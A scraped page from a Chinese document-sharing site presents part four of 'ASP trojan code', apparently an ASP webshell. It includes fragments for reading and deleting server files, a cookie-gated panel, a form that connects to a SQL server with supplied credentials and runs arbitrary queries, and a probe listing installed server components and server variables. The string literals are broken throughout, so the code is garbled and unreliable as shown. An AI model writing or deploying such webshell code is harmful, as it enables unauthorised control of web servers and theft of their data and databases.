77范文网 - 专业文章范例文档资料分享平台

ASP木马代码(仅供爱好者参考)(4)

来源:网络收集 时间:2020-02-21 下载这篇文档 手机版
说明:文章内容仅供预览,部分内容可能不全,需要完整文档或者需要复制内容,请下载word后使用。下载word有问题请添加微信号:或QQ: 处理(尽可能给您提供完整文档),感谢您的支持与谅解。点击这里给我发消息

 <% 

If (IsObject(oFile)) Then On Error Resume Next

Response.Write Server.HTMLEncode(oFile.ReadAll) oFile.Close

Call oFileSys.DeleteFile(szTempFile, True) End If %> <%end if case \

if Request.Cookies(\response.write \

response.write \【返 回】\else

If trim(request.form(\password= trim(Request.form(\id=trim(Request.form(\

SqlLocalName=trim(Request.form(\

if SqlLocalName=\服务器地址\set adoConn=Server.CreateObject(\

adoConn.Open \Source =\

strQuery = \set recResult = adoConn.Execute(strQuery) If NOT recResult.EOF Then Do While NOT recResult.EOF

strResult = strResult & chr(13) & recResult(0) recResult.MoveNext Loop End if

set recResult = Nothing

strResult = Replace(strResult,\ strResult = Replace(strResult,\ strResult = Replace(strResult,\

strResult = Replace(strResult,chr(13),\End if

set adoConn = Nothing

%>

<%

Response.Write request.form(\Response.Write strResult end if

case \

Response.Buffer = False

Dim ObjTotest(26,4)

ObjTotest(0,0) = \ObjTotest(1,0) = \ObjTotest(2,0) = \ObjTotest(3,0) = \ObjTotest(4,0) = \ObjTotest(5,0) = \ObjTotest(6,0) = \ObjTotest(7,0) = \

ObjTotest(8,0) = \

ObjTotest(9,0) = \ObjTotest(9,1) = \文本文件读写)\ ObjTotest(10,0) = \ObjTotest(10,1) = \数据对象)\

ObjTotest(11,0) = \ObjTotest(11,1) = \文件上传)\ObjTotest(12,0) = \ObjTotest(12,1) = \文件管理)\ObjTotest(13,0) = \ObjTotest(13,1) = \刘云峰的文件上传组件)\ObjTotest(14,0) = \

ObjTotest(14,1) = \文件上传)\ObjTotest(15,0) = \

ObjTotest(15,1) = \文件上传)\ObjTotest(16,0) = \

ObjTotest(16,1) = \邮件收发)\ObjTotest(17,0) = \ObjTotest(17,1) = \虚拟 SMTP 发信)\ObjTotest(18,0) = \ObjTotest(18,1) = \发信)\ObjTotest(19,0) = \

ObjTotest(19,1) = \发信)\ObjTotest(20,0) = \ObjTotest(20,1) = \发信)\ObjTotest(21,0) = \ObjTotest(21,1) = \发信)\ ObjTotest(22,0) = \ObjTotest(22,1) = \发信)\ObjTotest(23,0) = \ObjTotest(23,1) = \发信)\

ObjTotest(24,0) = \ObjTotest(24,1) = \ 的图像读写组件)\ObjTotest(25,0) = \

ObjTotest(25,1) = \的图像读写组件)\public IsObj,VerObj,TestObj dim i

for i=0 to 25

on error resume next IsObj=false VerObj=\'dim TestObj

TestObj=\

set TestObj=server.CreateObject(ObjTotest(i,0)) If -2147221005 <> Err then IsObj = True

VerObj = TestObj.version

if VerObj=\erObj) then VerObj=TestObj.about end if

ObjTotest(i,2)=IsObj ObjTotest(i,3)=VerObj next

sub ObjTest(strObj) on error resume next IsObj=false VerObj=\TestObj=\

set TestObj=server.CreateObject (strObj) If -2147221005 <> Err then IsObj = True

VerObj = TestObj.version

if VerObj=\erObj) then VerObj=TestObj.about end if End sub %>

ASP探针V1.60-阿江http://www.ajiang.net

class=fonts>V1.60

是否支持ASP


出现以下情况即表示您的空间不支持ASP:

改写的ASP探针-


1、访问本文件时提示下载。


2、访问本文件时看到类似“<%@ Language=\的文字。

服务器的有关参数

服务器名 <%=Request.ServerVariables(\

服务器IP <%=Request.ServerVariables(\

服务器端口 <%=Request.ServerVariables(\

服务器时间 <%=now%>

IIS版本

<%=Request.ServerVariables(\

脚本超时时间 <%=Server.ScriptTimeout%> 秒

文件路径

百度搜索“77cn”或“免费范文网”即可找到本站免费阅读全部范文。收藏本站方便下次阅读,免费范文网,提供经典小说教育文库ASP木马代码(仅供爱好者参考)(4)在线全文阅读。

ASP木马代码(仅供爱好者参考)(4).doc 将本文的Word文档下载到电脑,方便复制、编辑、收藏和打印 下载失败或者文档不完整,请联系客服人员解决!
本文链接:https://www.77cn.com.cn/wenku/jiaoyu/779018.html(转载请注明文章来源)
上一篇:中职c语言练习题
下一篇:心理测量学
Copyright © 2008-2022 免费范文网 版权所有
声明 :本网站尊重并保护知识产权,根据《信息网络传播权保护条例》,如果我们转载的作品侵犯了您的权利,请在一个月内通知我们,我们会及时删除。
客服QQ: 邮箱:tiandhx2@hotmail.com
苏ICP备16052595号-18
× 注册会员免费下载(下载后可以自由复制和排版)
注册会员下载
全站内容免费自由复制
注册会员下载
全站内容免费自由复制
注:下载文档有可能“只有目录或者内容不全”等情况,请下载之前注意辨别,如果您已付费且无法下载或内容有问题,请联系我们协助你处理。
微信: QQ: